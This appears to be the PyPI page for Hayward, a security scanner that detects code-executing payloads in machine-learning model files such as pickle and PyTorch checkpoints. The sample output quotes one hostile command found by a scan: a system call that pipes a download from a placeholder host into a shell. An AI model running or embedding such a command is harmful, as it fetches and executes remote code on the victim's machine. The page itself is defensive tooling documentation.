Skip to main content

Hayward

Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.

License MIT Python 3.10+ Rules 42 Dependencies 1 No outbound calls

pip install hayward
hayward scan ./models
CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. Zero findings above INFO across 215 real models from the HuggingFace Hub, and five findings at INFO, the tier for content it could not verify. A gate that cries wolf gets switched off. That figure is self-measured and not yet reproducible: the corpus and harness are not published. Accuracy sets out what it does and does not support.

It tells you when it could not look. A file it cannot parse produces an explicit finding, never silence. Attackers hide payloads behind deliberate parse errors, and a clean report should mean the file was read.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

Formats
Pickle, and everything that wraps it PyTorch (zip and legacy), joblib, NumPy .npy / .npz, TorchServe .mar, NVIDIA NeMo, skops
Tensor containers SafeTensors, GGUF, TFLite
Graph formats ONNX, TensorFlow SavedModel, Keras (H5 and .keras), PMML

24 extensions in total. Format comes from magic bytes, so a payload renamed weights.safetensors does not walk past on the strength of its extension.

Three ways to run it

hayward scan ./models                          # command line
hayward scan ./models -f html -o report.html   # shareable report
hayward-gui                                    # desktop window
from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))

What a clean result means

That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.

Documentation

  • Usage: CLI reference, exit codes, CI, the GUI, the Python API
  • Rules: all 42 rules with severities and CWE mappings
  • Coverage: what it does when it cannot read a file, and why that is a finding
  • How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
  • Accuracy: measured results, the caveats, and where it loses

Contributing

The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.

git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest

Security

Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.

Licence

MIT. See LICENSE and NOTICE.

A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hayward-1.0.0.tar.gz (155.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

hayward-1.0.0-py3-none-any.whl (96.8 kB view details)

Uploaded Python 3

File details

Details for the file hayward-1.0.0.tar.gz.

File metadata

  • Download URL: hayward-1.0.0.tar.gz
  • Upload date:
  • Size: 155.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.13

File hashes

Hashes for hayward-1.0.0.tar.gz
Algorithm Hash digest
SHA256 1f0e69eb5862912314f89552428951012f02c2c3eea0ff31fab99106b32af0c6
MD5 cd02e8d302357046dc9d3e31c7c93970
BLAKE2b-256 53a4ec8354e8fb4445ded94a24985c3479839be44727d51a8fb1a5ba636e1bc3

See more details on using hashes here.

File details

Details for the file hayward-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: hayward-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 96.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.13

File hashes

Hashes for hayward-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 b7b1307f558be21f6cc58792865a4bb4e2d6ad14449508d0657c0a09df8a8326
MD5 6d10233e24126ba33369c8db9e4dd9ce
BLAKE2b-256 7d47be7c986384f865056d3fb95b342c5e5275ad8873ca75ac47ca898b7bb0ef

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page